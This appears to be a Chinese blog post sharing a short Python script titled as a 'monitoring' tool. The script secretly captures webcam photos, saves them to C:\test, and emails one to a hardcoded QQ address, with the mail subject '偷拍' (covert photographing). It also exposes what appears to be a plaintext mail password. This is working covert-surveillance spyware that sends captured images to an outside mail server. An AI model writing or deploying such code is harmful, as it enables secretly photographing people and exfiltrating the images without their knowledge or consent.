python-监控

import cv2
import time
import smtplib
from email.mime.text import MIMEText
from email.header import Header
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import mimetypes
import os
import random

def send_email():
    from_email = 'xxxxxx@qq.com'
    password = 'viajfrnyrxildfcj'
    stmp_server = 'smtp.qq.com'
    to_email = 'xxxxxx@qq.com'
    subject = '偷拍'
    msgroot = MIMEMultipart('related')
    msgroot['Subject'] = subject
    msgroot['to'] = to_email
    msgroot['from'] = from_email
    #msg为内容,open(这里面为插入的附件)
    msg = MIMEText(open('C:\\test\\p_1.jpeg', 'rb').read(), 'base64', 'GB2312')
    msg['Content-Type'] = 'application/p_1.jpeg'
    #内容部署为附件,附件名称为p_1.jpeg
    msg['Content-Disposition'] = 'attachment; filename="p_1.jpeg"'
    msgroot.attach(msg)
    server = smtplib.SMTP(stmp_server, 25)  # SMTP协议默认端口是25
    # server.set_debuglevel(1)
    server.starttls()
    server.login(from_email, password)
    server.sendmail(from_email, to_email, msg.as_string())
    server.quit()
def take_photo():
    if os.path.exists('C:\\test'):
        pass
    else:
        os.makedirs('C:\\test')
    cap = cv2.VideoCapture(0)
    for i in range(0, 3):
        ret, frame = cap.read()
        time.sleep(2)
        file_name = "C:/test/p_%s.jpeg" % (i)
        cv2.imwrite(file_name, frame)
    cap.release()
    cv2.destroyAllWindows()
if __name__ == '__main__':
    # print(info)
    take_photo()
    send_email()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值